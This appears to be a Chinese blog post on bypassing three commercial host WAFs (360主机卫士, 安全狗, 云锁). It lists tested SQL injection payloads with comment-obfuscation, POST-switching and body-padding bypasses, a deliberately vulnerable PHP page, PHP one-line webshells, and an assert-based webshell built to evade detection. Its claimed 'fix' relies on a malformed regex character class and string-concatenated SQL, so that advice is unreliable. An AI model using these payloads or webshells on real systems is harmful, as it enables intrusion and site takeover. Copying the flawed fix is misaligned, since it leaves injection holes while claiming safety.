绕过软WAF攻略

现在软waf较为多,就在今年夏天苦逼挖洞的日子里经常遇到360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示:

看到以上三个拦截提示就让人头疼不已,欲罢不能。

数据库特性

/**/

;

‘

“

#

–

– +

– -

+

-

+、-执行结果:

–、– -、– +、#执行结果:

/**/执行结果:

 拦截情况

SQL注入代码:

 header('content-type:text/html;chaset=utf-8');
    ini_set('display_errors',1);
    $mysqli = new mysqli('localhost', 'root','','ow');
    $id = $_GET["id"];
    $sql = "select * from news where id=".$id;
    $result = $mysqli->query($sql);
    if($result === false){//执行失败
        echo $mysqli->error;
        echo $mysqli->errno;
    }
    else
    {
        echo '<h1>'.$sql.'<h1>';
        echo '<hr><table border="1px" align="center">';
        echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
        while($row = $result->fetch_assoc()){
            echo '<tr>';
            echo '<td>'.$row['id'].'</td>';
            echo '<td>wait</td>';
            echo '<td>'.$row['content'].'</td>';
            echo '</tr>';
        }
        echo '</table>';
    }
    $mysqli->close();

360主机卫士测试:

‘:不拦截

“:不拦截

and 1=1:拦截

and 1:不拦截

and 1 like 1:不拦截

and/**/1=1:不拦截

and ’1′=’1′:拦截

and 1<>2:不拦截

union select:拦截

union/**/select:拦截

union(select):拦截

union+form:不拦截

揣测匹配规则

and匹配规则:

初步设想and匹配规则:

and%20\d+=\d+:

根据以上正则,\d+是匹配多个数字,但是将数字改成字符串后还是被拦截。

进阶设想and匹配规则:

and%20(.)+=(.)+:

本次设想规则,也可以证实了上述测试中的and 1=1,将请求包中的and%20′s’='s’改为and/**/’s'=’s',360主机卫士不会拦截

同样的将and/**/’s'=’s'改为and+’s'=’s’

咱们同样将and+’s'=’s'改为and+1=1

这样咱们进阶设想and 1=1的匹配规则就可以相对来说是成立的,既然可以用这样的形式来进行绕过,咱们可以得出一种过waf的姿势了

我们可以使用布尔盲注得到网站表中的数据了。

首先来查看库名:

语句and+’ow’=database/**/()

查出了相对应的库名ow

当然咱们主要是以绕过软waf为主,所以这里的布尔盲注就不做详细的测试了

union select匹配规则

初步设想union%20select%20\d+,\d+

咱们还是将%20替换掉,改为union+select+1,2

初步设想失败,咱们继续测试

进阶设想:

union(.)+select(.)+\d+,\d+%20

这里还是匹配到了,基本上对于这样的匹配规则,已经是无从遁形了

我们的设想几乎没有任何错误,union select的匹配规则相对的来说基本上是这样了。

提交方式绕过

可以看到数据包都是以GET方式传递的,咱们将GET提交方式改为POST,看看结果如何:

可以看到这里咱们将攻击PYLOAD执行过去之后,并没有被拦截,这个原理很简单,程序首先判断是什么方式请求

然后对应的拦截请求,我们发送POST请求的时候,在请求体中没有发现恶意攻击请求,然而并没有检测url上的攻

击POLOAD,所以就直接绕过了360主机卫士。当然不单单只是360主机卫士存在这个问题。

云锁:

GET请求

POST请求

到此绕过360主机卫士就有了两种姿势,云锁也得到了1个姿势,最便捷的一个姿势

0×05 资源限制角度绕过

这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。

360安全卫士测试,将sql注入代码里的$GET["id"]改为$POST["id"],接着测试:

还是会被拦截,我们在攻击pyload之前加入较多的无用字符

我在攻击Pyload之前加入了789个字符后,360主机卫士并没又进行拦截,然后咱们将这里的无用字符用/**/包裹起来

我们将这里的无用字符精简一下,精简之后到485个字符及可绕过360主机卫士。

我们再来看看云锁

云锁遇到POST请求直接不用绕了。

安全狗:

安全狗的以这样的方式与360主机卫士类似。到此处为止360主机卫士有了3种姿势,安全狗有了第一种姿势,云锁有了两种姿势。

0×05 测试安全狗、云锁用/**/绕过

我们已以数据库特性为主来进行测试,//执行出来就是一个空格,用//对安全狗、云锁来绕过并注入

对安全狗测试:

Pyload:union//select//1,2

Pyload:union/*********/select/*********/1,2

测试到这里咱们在Pyload中加入字母,符号等等一些东西

Pyload:union/**sssssssssssssssss”‘*****/select/*****sssssssssssssssss”‘****/1,2

使用当前pyload成功的绕过了安全狗,咱们精简下pyload:

Pyload:union/**“‘*****/select/*****”‘****/1,2

当我们将字符去掉之后,被拦截了,说明安全狗在匹配/**/的时候,会匹配符号不会匹配字符,改下Pyload

Pyload:union/**s*****/select/*****s****/1,2

我们将这个*精简一下,得到如下Pyload

Pyload:union/s**/select/s**/1,2

对于安全狗使用/*/绕过的时候,右边的必须大于或等于2个*号,中间的字符串必须大于或等于1个字母的时候即可绕过安全狗

云锁测试:

根据以上测试安全狗的姿势来测试云锁/*s**/

Pload:union/s**/select/s**/1,2

我们改一下Pyload,给它加上符号试试

Pyload:union/s’”/select/s’”/1,2


成功绕过云锁,精简下Pyload

Pyload:union/’/select/’/1,2

对于云锁用/**/绕过的时候只要在其中加入‘就可以绕过

通过上面的绕过姿势,当360主机卫士、云锁、安全狗结合在一起的时候可得出如下姿势

Pyload:union/w’**/select/w’**/1,2

并将以上pyload通过post方式提交及可绕过。

SQL注入漏洞修复

<?php
    header('content-type:text/html;chaset=utf-8');
    ini_set('display_errors',1);
    $mysqli = new mysqli('localhost', 'root','','ow');
    $id = $_GET["id"];
    $sql = "select * from news where id=".$id;
    $result = $mysqli->query($sql);
    if($result === false){//执行失败
        echo $mysqli->error;
        echo $mysqli->errno;
    }
    else
    {
        echo '<h1>'.$sql.'<h1>';
        echo '<hr><table border="1px" align="center">';
        echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
        while($row = $result->fetch_assoc()){
            echo '<tr>';
            echo '<td>'.$row['id'].'</td>';
            echo '<td>wait</td>';
            echo '<td>'.$row['content'].'</td>';
            echo '</tr>';
        }
        echo '</table>';
    }
    $mysqli->close();

?>

修复之后:

<?php
    header('content-type:text/html;chaset=utf-8');
    ini_set('display_errors',1);
    $mysqli = new mysqli('localhost', 'root','','ow');
    $id = injection_defense($_GET["id"]);
    $sql = "select * from news where id=".$id;
    if($id)
    {
        $result = $mysqli->query($sql);
        if($result === false){//执行失败
            echo $mysqli->error;
            echo $mysqli->errno;
        }
        else
        {
            echo '<h1>'.$sql.'<h1>';
            echo '<hr><table border="1px" align="center">';
            echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
            while($row = $result->fetch_assoc()){
                echo '<tr>';
                echo '<td>'.$row['id'].'</td>';
                echo '<td>wait</td>';
                echo '<td>'.$row['content'].'</td>';
                echo '</tr>';
            }
            echo '</table>';
        }
    }
    $mysqli->close();
    function injection_defense($str)
    {
        if(preg_match('/[all|select|union|update|delete|\/|*| |and|ascii|form|where|=|\'|"|order]+/i', $str))
        {
            echo '请勿恶意攻击';
        }
        else
        {
            return $str;
        }
    }
?>

这样就可以很有效的防止SQL注入

 PHP一句话原理分析

PHP一句话原型:

<?php @eval($_POST["ceshi"]);?>

一句话的原型可分为两部分

@eval():函数部分

$_POST["ceshi"]:传值部分

原理分析:

在还没有接触编程的时候,很想知道为什么一句话木马功能这么齐全呢?既可以上传文件也能下载文件,还能写入文件,这是为什么呢?

咱们以这个写入文件为主,其实实现各种功能都是使用语言中的内置函数来完成该功能。

file_put_contens():写入文件操作

函数使用file_put_contents(文件名,文件内容) 执行之后,当前目录中就出现了shateaa.php文件,访问看看是不是输出为1

 PHP免杀一句话编写

<?php @eval($_GET["a"]);?>:查杀 <?php @eval($_POST["a"]);?>:查杀 <?php @eval($_REQUEST["a"]);?>:查杀 <?php @eval($_COOKIE["a"]);?>:查杀 <?php @eval();?>:不查杀 <?php @assert();?>:不查杀

根据以上查杀情况,我们得出一个结论:单个代码执行的函数安全狗是不会杀的, 只有当有了外界的可控传参的时候才会被杀掉。

咱们继续来测试,既然已经知道了,我们就可以就事论事,不让软waf检测到我们有传参即可

     <?php
          $arr = [$_POST["ceshi"],$_REQUEST["ceshi"]];
          @assert($arr[mt_rand(0,1)]);
     ?>

可绕过安全狗,360主机卫士。尽量不要使用eval代码执行函数,要使用和他功能相同的assert()函数,能完成相同的功能

关键字函数替换

通过GET传递函数会被匹配到360主机卫士的关键函数里,所以我们只需要改为phpinfo/**/(),这样就可以绕过

通过POST传递关键函数可以直接绕过

总结

一个好WAF并不是吹出来的,而是实践出来的。研究waf的绕过,并不是为了去攻击某某网站,而是为了提高waf的防御能力。

当然我们不能仅仅停留在一个层面上,更要明白其漏洞原理,在代码层面上就将其修复,而不是事事靠第三方软件的防御。究其

根本也希望做waf的厂商看到此类文章,修复自己waf存在的问题。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏祝威廉

ElasticSearch Bulk 源码解析

读这篇文章前,建议先看看ElasticSearch Rest/RPC 接口解析,有利于你把握ElasticSearch接受处理请求的脉络。对于RPC类的调用,我...

1244
来自专栏mini188

聊聊从web session的共享到可扩展缓存设计

先从web session的共享说起 许多系统需要提供7*24小时服务,这类系统肯定需要考虑灾备问题,单台服务器如果宕机可能无法立马恢复使用,这必定影响到服务。...

2176
来自专栏JackieZheng

漫谈可视化Prefuse(一)---从SQL Server数据库读取数据

  上篇《可视化工具solo show-----Prefuse自带例子GraphView讲解》主要介绍了整个Prefuse工具集具有的一些特征、框架的运行流程,...

2586
来自专栏架构之路

spark 2.3 导致driver OOM的一个SparkPlanGraphWrapper源码的bug

长话短说,我们部门一个同事找到我,说他的spark 2.3 structured streaming程序频繁报OOM,从来没有坚持过超过三四天的,叫帮看一下。 ...

1282
来自专栏加米谷大数据

Python连接Hive操作数据库

客户端连接Hive需要使用HiveServer2。HiveServer2是HiveServer的重写版本,HiveServer不支持多个客户端的并发请求。当前H...

8092
来自专栏Java技术栈

Java 虚拟机对锁优化所做的努力

作为一款公用平台,JDK 本身也为并发程序的性能绞尽脑汁,在 JDK 内部也想尽一切办法提供并发时的系统吞吐量。这里,我将向大家简单介绍几种 JDK 内部的 "...

802
来自专栏谭广健的专栏

devexpress CLR20r3错误记录

好久没写过winform程序了,用devexpress写了个小工具,连一个本地的数据库,感觉不会出什么异常,连接时就没加捕获,调通之后就没管,因为特殊需求,需要...

2384
来自专栏游戏杂谈

Ant+JSDocTookit生成Javascript文档

需要备上下面三样东西 JSDocTookit http://code.google.com/p/jsdoc-toolkit/

2053
来自专栏解决发现

CPU占用率100%的解决方法

图:优化前(我的电脑是四核cpu,所以单线程无限无阻塞循环占用率不会达到100%)

5930
来自专栏小灰灰

Spring定时任务高级使用篇

前面一篇博文 《Spring之定时任务基本使用篇》 介绍了Spring环境下,定时任务的简单使用姿势,也留了一些问题,这一篇则希望能针对这些问题给个答案

1372

扫码关注云+社区

领取腾讯云代金券